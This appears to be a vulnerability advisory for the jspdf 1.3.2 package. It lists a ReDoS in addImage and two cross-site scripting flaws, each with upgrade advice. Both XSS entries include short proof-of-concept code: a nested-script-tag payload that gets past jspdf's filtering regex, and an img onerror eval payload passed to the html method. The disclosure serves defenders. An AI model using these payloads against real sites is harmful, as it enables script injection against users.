org.webjars.npm:jspdf@1.3.2 vulnerabilities

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ReDoS is possible via the addImage function.

Upgrade org.webjars.npm:jspdf to version 2.3.1 or higher.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to use <<script>script> in order to go over the filtering regex.

PoC

import jsPDF from "jspdf";

var doc = new jsPDF();

let html = `
<p id='test'>a</p>
<<script>script>document.write(window.location);</</script>script>
`;
doc.fromHTML(
  html,
  0,
  0,
  {
    width: 100 // max width of content on PDF
  },
  function(_) {
    doc.save();
  }
);

Upgrade org.webjars.npm:jspdf to version 2.2.0 or higher.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the html method.

PoC

var doc = new jsPDF();
window.html2canvas = html2canvas;
let html = `
<p id='test'>a</p>
<img src=x onerror=eval("document.getElementById('test').innerHTML=window.location") />
`;
doc.html(html, {
  callback: function (doc) {
    doc.save();
  }
});

Upgrade org.webjars.npm:jspdf to version 2.2.0 or higher.